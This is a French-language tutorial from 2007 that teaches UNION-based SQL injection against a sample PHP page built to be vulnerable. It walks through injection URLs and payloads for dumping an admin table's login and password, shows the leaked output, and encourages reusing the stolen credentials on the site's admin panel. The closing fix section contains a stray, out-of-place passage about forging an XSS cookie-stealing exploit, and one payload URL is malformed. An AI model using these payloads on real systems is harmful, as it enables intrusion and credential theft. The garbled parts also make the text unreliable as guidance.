0x01. INTRODUCTION
Ce genre d'injection SQL est vachement difficile à réaliser. Effectivement, utiliser une requête UNION doit amener le hacker à bruteforcer pour essayer de trouver les bons champs et la bonne table dans la base de donnée. Une injection SQL UNION permet de récolter des données dans une base, mais nous ne pouvons rien modifier, rien supprimer etc.
C'est pourquoi il est déconseillé aux newbies de lire ce tutorial. Essayez d'abord de faire des injections SQL simples, google est votre ami. ;).
0x02. EXEMPLE CONCRET
Un tutorial sans exemple concret, est-ce possible ? Non, bien entendu ^^. Je vais donc fournir un exemple concret de script php.
On imaginera que la page s'appelle infos_monstre.php :
// On se connecte a mySQL mysql_connect("localhost","hrw","p455w0rd") or die("Impossible de se connecter au serveur !"); mysql_select_db("base-hrw") or die("Base inexistante !"); // Ok, on est connecté, on fait notre requête pour extraire les informations du monstre demandé ! $sql = "SELECT id,nom,vie,attaque,description FROM monstre WHERE id=" . $_GET ['id'] ; $query = mysql_query($sql) or die($sql . " " . mysql_error()); while($donnees = mysql_fetch_array($query)) { echo "Nom du monstre : " . $donnees ['nom'] . " "; echo "Points de vie : " . $donnees ['vie'] . " "; echo "Points d'attaque : " . $donnees ['attaque'] . " "; echo "Description du monstre : " . $donnees ['description'] . " "; } // On se déconnecte de mySQL ! mysql_close(); ?>
Nous apercevons ici que, bien evidemment, les informations du monstres sont extraites en fonction de l'id. Voici aussi l'exemple concret de la table 'monstre'
Champs : TYPE(taille) : id INT(3) nom VARCHAR(255) vie INT(11) attaque INT(11) description VARCHAR(1000)
On sait tous que, bien entendu, INT signifie INTEGER, donc nombre entier, et VARCHAR correspond aux caractères (a, b, c, 1, à etc etc...) ASCII. Revenons-en à notre code source : si nous envoyons manuellement l'url suivante : http://site.com/infos_monstre.php?id=1, la requête SQL deviendra ainsi :
SELECT id,nom,vie,attaque,description FROM monstre WHERE id=1
Et donc nous aurons toutes les informations du monstre dont l'id est égale à 1 ! Vous me suivez ? ;)
On peut donc avoir en résultat (exemple) :
Nom du monstre : fantôme
Points de vie : 45
Points d'attaque : 20
Description : Un sale fantôme qui fait peur à tout le monde, bouuuh !
Car dans la table, toutes ces infos correspondent à l'id 1 :
id nom vie attaque description 1 fantôme 45 20 Un sale fantôme qui fait peur à tout le monde, bouuuh !
Enfin, pour terminer, il se peut qu'il y aie, bien évidemment, d'autres id croissantes (2, 3 etc etc...) avec d'autres infos ;)
0x03. ATTAQUE AVEC 'GET'
Dans cette sous partie, nous allons prendre l'exemple concret de la seconde sous partie.
Notre but est de récupérer les infos de la table admin (qui contient certainement le login et le pass de l'administrateur <<) grâce à une injection SQL UNION.
En quoi est-ce dur ? Il faut :
- Deviner le nom de la table (ici on tente admin ou administrateur...)
- Deviner le nom des champs (cela peut-être login, pseudo, pass, password, etc etc etc...)
- selectionner un même nombre de champs dans l'UNION (mias ça ne sera pas un problème ici, nous verrons ça plus tard)
- que les champs sélectionnés soit de mêmes types en fonction de leur ordre (j'explique plus tard aussi).
Revenons-en à notre code. Si la requête ne marche pas, cela affiche un message d'erreur contenant le nom de la requête et l'explication de l'erreur
retournée grâce à la fonction mysql_error(). Si nous ne mettons aucune valeur à la variable GET de l'id, le script nous renverrais ceci :
SELECT id,nom,vie,attaque,description FROM monstre WHERE id= You have an error in your SQL synthax, check the manual correspond to your mysql version ...
Et grâce à cette erreur, on arrive à connaître le nombre de champs de la table monstre (5 champs) et le nom de la table en elle-même !
Nous allons donc pouvoir attaquer !
Si nous envoyons manuellement cette URL :
http://site.com/infos_monstre.php?id=1 UNION%20SELECT login,password FROM% admin
Et imaginons que nous avons trouvé les bons champs et la bonne table, la requête deviendrai ainsi :
SELECT id,nom,vie,attaque,description FROM monstre WHERE id=1 UNION SELECT login,password FROM admin
Je n'avais pas précisé tout à l'heure qu'il fallait autant de champs après l'UNION qu'avant l'UNION ??? Et aussi n'avais-je pas précisé que les champs sélectionnés soit de mêmes types en fonction de leur ordre ? xD.
Imaginons que notre table 'admin' ait cette structure :
Champs : TYPE(taille) : login VARCHAR(15) password VARCHAR(15)
On voit bien que les deux champs login et password sont de types varchar. Et quels sont les champs de type varchar dans la table monstre ? Miracle ! Il y en a deux ! c'est bien évidemment 'nom' et 'description'.
Pas de souci, mais pour le moment on en est à injecter correctement.
Récapitulons, on a 5 champs à mettre et les deux champs de la table admin sont en varchar. Comment allons-nous faire pour mettre 5 champs en injection ? Moi je sais :p. Il faut mettre des champs factices ! c'est-à-dire mettre des 0 ! Imaginons que notre table admin contient seulement une entrée avec pour login Ciryl et comme password banania. Envoyons manuellement cette URL :
http://site.com/infos_monstre.php?id=1 UNION SELECT 0,login,0,0,password FROM admin
La requête deviendra ainsi :
SELECT id,nom,vie,attaque,description FROM monstre WHERE id=1 UNION SELECT 0,login,0,0,password FROM admin
Et le résultat renvoyé sur la page ressemblera à (reporter vous au code concret si nécéssaire) :
Nom du monstre : fantôme Points de vie : 45 Points d'attaque : 20 Description : Un sale fantôme qui fait peur à tout le monde, bouuuh ! Nom du monstre : Ciryl Points de vie : Points d'attaque : Description : banania
Vous venez de réaliser une injection SQL UNION ! :)
Ah oui, et si il n'y a qu'un champ varchar, et bien faites une injection en mettant par exemple :
1 UNION SELECT 0,0,login,0,0 en id
Puis recommencez en remplaçant login, par password, c'est tout con ! :]
Après, si vous trouvez une certaine zone d'administration sur le même site, je pense que vous pouvez tenter en login Ciryl et en pass banania, probable que ça marche.
0x04. SECURISATION
Enfin, la dernière partie de ce tuto (j'suis fatigué quoi... =P ). Rien de plus simple pour sécuriser tout ça, histoire d'empêcher les unions sur les id. Il faut tout simplement vérifier que la valeur id est numérique, grâce à la fonction is_numeric()
Nous allons forger un exploit qui :
- Récupère le cookie grâce à la faille XSS
- Se sert de ce cookie pour piocher les infos dans la page de profil
Voici un exemple :
if(is_numeric($_GET ['id'] )) { // On place notre script qui se déroule sans problème } else { // sinon on affiche un message d'erreur }
Le tutorial prend fin, j'éspère qu'il a été assez clair pour vous.
=> Écrit par : Geo, le 05 décembre 2007